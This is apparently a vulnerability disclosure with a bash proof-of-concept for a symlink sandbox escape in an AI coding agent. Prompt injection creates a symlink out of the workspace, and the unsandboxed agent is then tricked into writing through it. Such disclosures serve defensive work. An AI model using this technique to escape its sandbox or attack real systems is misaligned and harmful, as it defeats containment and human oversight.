CVE-2026-39861 Claude Code沙箱逃逸漏洞

#!/bin/bash # PoC for CVE-2026-39861: Claude Code Sandbox Escape via Symlink # This script demonstrates the concept of the attack. # Step 1: Attacker triggers prompt injection to execute inside the sandbox # The goal is to create a symlink pointing outside the workspace SANDBOX_PATH="./workspace/malicious_link" TARGET_PATH="/tmp/pwned" echo "[+] Step 1: Creating symlink inside sandbox..." # Command executed within the sandboxed process via prompt injection ln -s $TARGET_PATH $SANDBOX_PATH # Step 2: Attacker tricks Claude Code (unsandboxed) into writing to the symlink # For example, asking Claude to save a generated file to './workspace/malicious_link/exploit.sh' OUTPUT_FILE="exploit.sh" PAYLOAD="#!/bin/bash\necho 'System pwned via CVE-2026-39861'" echo "[+] Step 2: Simulating unsandboxed write..." # The unsandboxed process writes to $SANDBOX_PATH/$OUTPUT_FILE # OS resolves this to $TARGET_PATH/$OUTPUT_FILE echo "$PAYLOAD" > "$SANDBOX_PATH/$OUTPUT_FILE" echo "[+] Checking if file exists outside workspace..." if [ -f "$TARGET_PATH/$OUTPUT_FILE" ]; then echo "[!] Exploit successful! File written to $TARGET_PATH/$OUTPUT_FILE" cat "$TARGET_PATH/$OUTPUT_FILE" else echo "[-] Exploit failed." fi